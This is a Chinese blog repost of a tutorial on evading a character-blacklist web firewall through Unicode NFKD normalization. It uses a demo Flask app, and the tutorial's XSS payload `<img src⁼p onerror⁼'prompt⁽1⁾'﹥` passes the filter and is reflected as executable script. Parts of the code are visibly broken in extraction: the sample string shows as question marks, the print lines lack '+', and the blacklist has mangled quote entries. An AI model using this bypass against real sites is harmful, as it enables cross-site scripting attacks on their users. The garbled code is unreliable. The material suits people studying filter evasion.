使用Unicode绕过waf

2021-04-15 10:38:45 浏览数 (1)

点击上方“蓝字”带你去看小星星

逛博客看到的一篇文章,分享给大家。

认识Unicode,Unicode的规范如下图所示:

  • NFC: Normalization Form Canonical Composition
  • NFD: Normalization Form Canonical Decomposition
  • NFKC: Normalization Form Compatibility Composition
  • NFKD: Normalization Form Compatibility Decomposition

我们可以用下面的代码进行实验:

代码语言:javascript复制
import unicodedata
string = "?ⅇ??ⅈ????"
print ('NFC: '   unicodedata.normalize('NFC', string))
print ('NFD: '   unicodedata.normalize('NFD', string))
print ('NFKC: '   unicodedata.normalize('NFKC', string))
print ('NFKD: '   unicodedata.normalize('NFKD', string))

输出如下:

代码语言:javascript复制
NFC: ?ⅇ??ⅈ????
NFD: ?ⅇ??ⅈ????
NFKC: Leonishan
NFKD: Leonishan

我们可以看到同样的字符在不同的规范下的差异。

我们来构造一个实验环境:

代码语言:javascript复制
from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)


@app.route('/')
def Welcome_name():
  name = request.args.get('name')


  if waf(name):
    abort(403, description="XSS Detected")
  else:
    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
    return 'Test XSS: '   name

if __name__ == '__main__':
  app.run(port=81)

WAF:

代码语言:javascript复制
def waf(input):
    print(input)
    blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_"," ","=","{","}","]","[","|","",",".","/","?",";",":",""",""","<",">"]
    vuln_detected = False
    if any(string in input for string in blacklist): 
        vuln_detected = True
    return vuln_detected

此时我们比如构造最基本的请求:

代码语言:javascript复制
(<img src=p onerror='prompt(1)'>)

它的响应如下:

代码语言:javascript复制
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

但是因为我们规范的不同,导致了一下绕过的存在:

代码语言:javascript复制
name = unicodedata.normalize('NFKD', name)

构造下面的请求:

代码语言:javascript复制
<img src⁼p onerror⁼'prompt⁽1⁾'﹥

GET /?name=<img src⁼p onerror⁼'prompt⁽1⁾'﹥

响应如下:

代码语言:javascript复制
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS: <img src=p onerror='prompt(1)'>

成功bypass:

类似的作用还有很多:

原文链接:https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html

0 人点赞